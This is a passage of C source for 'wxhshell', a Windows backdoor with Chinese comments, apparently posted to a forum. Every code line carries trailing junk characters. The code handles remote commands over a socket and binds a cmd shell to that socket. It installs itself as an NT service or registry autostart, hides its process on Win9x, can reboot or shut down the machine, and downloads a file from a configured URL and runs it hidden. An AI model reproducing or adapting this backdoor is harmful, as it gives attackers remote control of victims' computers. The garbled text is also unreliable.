  if(DownloadFile(cmd,wsh)) -aLBj?N c[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HI#}M|4n  
  else 6g29!F`y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s2_j@k?%  
  } FoWE<  
  else { Thn-8DT  
^=bJ _'  
    switch(cmd[0]) { huWUd)Po%  
   /8Bh  
  // 帮助 jIv+=b#oT  
  case '?': { <tuh%k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ].pz  
    break; m/=,O_  
  } 8<0H(lj7_  
  // 安装 jr~ +}|@{  
  case 'i': { - 4'yp  
    if(Install()) G~a;q+7v'$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *y5d&4G2  
    else &E.0!BuqV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *W y0hnr;]  
    break; D(Zux8l  
    } dE_BV=H{  
  // 卸载 ~e{AgY)  
  case 'r': { .Di+G-#aEs  
    if(Uninstall()) RR{]^g51  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 63UAN0K%  
    else @]6)j&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zOLt)2-<  
    break;  3Fo,F  
    } G'MYTq  
  // 显示 wxhshell 所在路径 FlOKTY   
  case 'p': { 5aL0N  
    char svExeFile[MAX_PATH]; jbpnCUzi  
    strcpy(svExeFile,"\n\r"); %FT F  
      strcat(svExeFile,ExeFile); tNjb{(eO\h  
        send(wsh,svExeFile,strlen(svExeFile),0); ] ?#f=/  
    break; z(g4D!  
    } j^llO1i/  
  // 重启 3T# zxu  
  case 'b': { 8UwL%"?YB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jMcCu$i7  
    if(Boot(REBOOT)) PQWo<Uet  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jeN_ sm81b  
    else { ?CAP8_  
    closesocket(wsh); Jh{(xGA  
    ExitThread(0); 0gm+R3;k^  
    } 1& YcCN\k  
    break; l@q.4hT  
    } <'v?WV_  
  // 关机 h\Op|#gIT  
  case 'd': { F:n(yXA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &?9p\oY[  
    if(Boot(SHUTDOWN)) SY`NZJK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f5 wn`a~h  
    else { hx+a.N  
    closesocket(wsh); kMo;<Z  
    ExitThread(0); {{ R/:-6?@  
    } *oY59Yf  
    break; QJTGeJ Y  
    } NAZxM9  
  // 获取shell ~/! Zh  
  case 's': { wHWd~K_q  
    CmdShell(wsh); 6JmS9ho  
    closesocket(wsh); ORs<<H.d  
    ExitThread(0); LV0g *ng  
    break; qdCa]n!d  
  } Rde#=>@V  
  // 退出 IxYuJpi  
  case 'x': { 0+P_z(93?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {K*l,U  
    CloseIt(wsh);  ZajQ B  
    break; AQ32rJT8c`  
    } 1jh^-d5  
  // 离开 NVS U)#  
  case 'q': { )$P!7$C-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (jPN+yQ  
    closesocket(wsh); LZ|G"5X[  
    WSACleanup(); H_ .@{8I  
    exit(1); 9:!n'mn  
    break; (5_l7hWY  
        } uWG'AmK_#E  
  } isj<lnQ  
  } NlU:e}zGR  
ym2\o_^(  
  // 提示信息 -qs.'o ;2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5L42'gJ  
} |m"2B]"@  
  } "}\z7^.W>  
qK:.j  
  return; TiCp2Rsz  
} rD%(*|Y"c  
Al$"k[-Uin  
// shell模块句柄 G- Sw`HHo  
int CmdShell(SOCKET sock) /6gqpzum4  
{ _ Eq:Qbw#  
STARTUPINFO si; k^C;"awh  
ZeroMemory(&si,sizeof(si)); AQbbIngo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .J%}ROm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HMgZ& v  
PROCESS_INFORMATION ProcessInfo; }dAb} 0XK.  
char cmdline[]="cmd"; {tu* ="d=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u&STGc[  
  return 0; H6/@loO!Xy  
} 7w @.)@5  
y:iE'SRRK6  
// 自身启动模式 `;hsOfo  
int StartFromService(void) 6%U1%;  
{ lh7{2WQ  
typedef struct , y{o!w  
{ . 2.$Rq  
  DWORD ExitStatus; n6O1\}YB  
  DWORD PebBaseAddress; C(}9  
  DWORD AffinityMask; S?OK@UEJ  
  DWORD BasePriority; \ CV(c]  
  ULONG UniqueProcessId; ? 4qN>uW=  
  ULONG InheritedFromUniqueProcessId; v_{`O'#j^  
}   PROCESS_BASIC_INFORMATION; |ng[s6uf  
> :!faWX  
PROCNTQSIP NtQueryInformationProcess; wjq f u /  
{8@?9Z9R{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /B|#GJ\\3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 70lb6A  
]pB0bJAt  
  HANDLE             hProcess; y"cK@sOo  
  PROCESS_BASIC_INFORMATION pbi; wCMsaW  
e1~C>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D<L]'  
  if(NULL == hInst ) return 0; _#f/VE  
*vJ1~SRV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %+gze|J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jn]hqTy8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ad@))o2  
y\5V (Q\  
  if (!NtQueryInformationProcess) return 0; S,G=MI"  
+_:Ih,-   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0m7J'gm{  
  if(!hProcess) return 0; %[lX  H  
r5lp<md  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DXSZ#^,S[W  
;NLL?6~  
  CloseHandle(hProcess); L9fhe,en  
H!Uy4L~>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eK/[jxNO  
if(hProcess==NULL) return 0; U QXT&w  
.X_k[l9  
HMODULE hMod; .g(yTA  
char procName[255]; e<~uU9 lg1  
unsigned long cbNeeded; }`5%2iG  
fAUtqkB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "uTzmm$  
.}SW`R Pk  
  CloseHandle(hProcess); fhMtnh:  
Yx(?KN7V?  
if(strstr(procName,"services")) return 1; // 以服务启动 YOGw Q  
K+ufcct  
  return 0; // 注册表启动 Y<w2_+(  
} yHr/i) c  
$o/ ?R]h  
// 主模块 5SR 29Z[  
int StartWxhshell(LPSTR lpCmdLine) #OJ^[Zi<  
{ zhHQJcQ.  
  SOCKET wsl; )P:TVe9`  
BOOL val=TRUE; ^q FFF3<8  
  int port=0; TL]2{rf~  
  struct sockaddr_in door; 4xtbP\=   
z}8rD}BH  
  if(wscfg.ws_autoins) Install(); h(GgkTj4+  
3<m"z9$  
port=atoi(lpCmdLine); NkNw9?:#4  
`@?l{  
if(port<=0) port=wscfg.ws_port; Q&`$:h.~  
!x;T2l  
  WSADATA data; hkHMBsNi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yK"U:X  
7" Dw4}T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C*kZ>mbc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2#T|+mKxZM  
  door.sin_family = AF_INET; Sh2q#7hf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1i bQ'bZ  
  door.sin_port = htons(port); .LnXKRd{  
:Gy .P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k5g\s9n]  
closesocket(wsl); ',m,wp`  
return 1; ,o*b-Cv/  
} 7lR(6ka&/  
Be8Gx  
  if(listen(wsl,2) == INVALID_SOCKET) { oo- ^BG  
closesocket(wsl); +;FF0_   
return 1; .Zf#L'Rf  
} 8N ci1o  
  Wxhshell(wsl); ` mALx! `  
  WSACleanup(); w V2 7  
6tzZ j:y q  
return 0; MI',E?#yB  
4\Y=*X  
} [RC|W%<Z>  
I>L lc Y  
// 以NT服务方式启动 jqb,^T|j;m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Zu&trxnNf[  
{ a ^4(7  
DWORD   status = 0; F_YZV)q!W  
  DWORD   specificError = 0xfffffff; z7HC6{g%X  
0e:KiUr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zrnc~I+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e!eWwC9u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -aKk#fd  
  serviceStatus.dwWin32ExitCode     = 0; mUcHsCszH  
  serviceStatus.dwServiceSpecificExitCode = 0; L?Wl#wP\;*  
  serviceStatus.dwCheckPoint       = 0; -s:JD J*  
  serviceStatus.dwWaitHint       = 0; sDJ5'ul  
iO<O2A.F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^h^j:!76j  
  if (hServiceStatusHandle==0) return; +n2x@ 0op  
;E* ^AW  
status = GetLastError(); ,2&'8:B  
  if (status!=NO_ERROR) //H+S q66  
{ X903;&Cim  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #z~D1Zl  
    serviceStatus.dwCheckPoint       = 0; 7@+0E 2'  
    serviceStatus.dwWaitHint       = 0; e<iTU?eJM  
    serviceStatus.dwWin32ExitCode     = status; {D`F$=Dlw  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6kIq6rWF9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IQ2<Pinv  
    return; R`TM@aaS:  
  } ag|d_;  
d{ OY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nqiy)ZN#R  
  serviceStatus.dwCheckPoint       = 0; #BT= K  
  serviceStatus.dwWaitHint       = 0; aL#b8dCy'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9&rn3hmP  
} Lc<Gn y^  
Ge(r6"%7  
// 处理NT服务事件,比如:启动、停止 MzJ5_}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x6:$lZ(  
{ %pTbJaM\U  
switch(fdwControl) I>9rfmmTI  
{ zg8m(=k'  
case SERVICE_CONTROL_STOP: 9;h 1;9sC|  
  serviceStatus.dwWin32ExitCode = 0; [gQ~B1O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K;[V`)d'  
  serviceStatus.dwCheckPoint   = 0; W]6Y buP:  
  serviceStatus.dwWaitHint     = 0; #;?z<  
  { k`\DC\0RG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KwpNS(]I  
  } IGv>0LOd@  
  return; "8{u_+_B*  
case SERVICE_CONTROL_PAUSE: hr]NW>;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1iF |t5>e  
  break; WGp81DNS|  
case SERVICE_CONTROL_CONTINUE:  0m*0I >  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *pI3"_  
  break; 2"V?+Hhz  
case SERVICE_CONTROL_INTERROGATE: ly, d =  
  break; F_V~UX1D  
}; /xf %Rp4}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3ck;~Ncj<  
} ?bN8h)>QQ8  
173/A=]  
// 标准应用程序主函数 m[Zz(tL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +yCIA\i#t6  
{ M=0I 3o}J  
m0=CD  
// 获取操作系统版本 E\RQm}Z09  
OsIsNt=GetOsVer(); n:k~\-&WJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [!bTko>rSB  
<niHJ*  
  // 从命令行安装 &a48DCZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); eJ7A.O  
3n6_yK+D  
  // 下载执行文件 *h-nI=  
if(wscfg.ws_downexe) { W.0dGUi*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fyQAQZT  
  WinExec(wscfg.ws_filenam,SW_HIDE); =>ph\  
} -Frx{3  
G]q6Ika  
if(!OsIsNt) { ~>#=$#V   
// 如果时win9x,隐藏进程并且设置为注册表启动 :Q&8DC#]  
HideProc(); J0|/g2%0  
StartWxhshell(lpCmdLine); M-|4cd]6  
} oSy[/Y44a  
else +-8uIqZ  
  if(StartFromService()) M[TgNWl/[  
  // 以服务方式启动 eJJvEvZ,  
  StartServiceCtrlDispatcher(DispatchTable); }tj@*n_  
else a*%>H(x  
  // 普通方式启动 Ce`{M&NSWX  
  StartWxhshell(lpCmdLine); B8B^@   
D%Pq*=W  
return 0; Cww$ A %}  
}
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只看该作者 1 发表于: 2006-10-10
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